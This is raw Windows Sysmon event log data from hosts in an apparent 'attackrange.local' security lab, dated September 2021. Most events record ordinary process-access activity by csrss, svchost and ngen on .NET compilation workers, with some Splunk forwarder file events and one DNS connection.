10341000x800000000000000044275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.446{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5F-613B-4E09-00000000F001}3740C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.446{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5F-613B-4E09-00000000F001}3740C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.386{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1CD658EEAEF8C5E162D6D2AD26388833,SHA256=C416D961A2D7F42AC90B1CE8FD24F0B96EFB4FEEB3646EF157AE159E9430631E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.316{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5F-613B-4D09-00000000F001}7096C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.296{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5F-613B-4D09-00000000F001}7096C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.296{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5F-613B-4D09-00000000F001}7096C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.206{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=477CF728A98F2E9F2A9BAC0D6AC4EFCC,SHA256=4C41EFC1AADD12EE0EF3AF7FB1A5D3F596631053458A4749FC2DF95D47B320E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.135{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5F-613B-4C09-00000000F001}5816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.125{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5F-613B-4C09-00000000F001}5816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.125{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5F-613B-4C09-00000000F001}5816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.085{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF8C698B391F0BE440DD3734D33BE92B,SHA256=11715674920E73EEC2C112CC0962E689670093362E9A616570D13E8996A375ED,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.085{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5F-613B-4B09-00000000F001}6864C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.055{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5F-613B-4B09-00000000F001}6864C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.055{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5F-613B-4B09-00000000F001}6864C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.005{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-4A09-00000000F001}2120C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013957Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:48.208{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=354E7E41307C71D1468FD72B12034AE7,SHA256=44F2A9A0D6A85A33B1BCA3FE77566B0622FB8432C31E63E355C25F77E781B0E9,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.988{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5F09-00000000F001}2816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.968{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5F09-00000000F001}2816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.968{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5F09-00000000F001}2816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000044363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.106{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61817- 10341000x800000000000000044362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.868{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5E09-00000000F001}5816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.858{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5E09-00000000F001}5816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.858{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5E09-00000000F001}5816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.808{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5D09-00000000F001}7124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.798{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5D09-00000000F001}7124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.798{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5D09-00000000F001}7124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 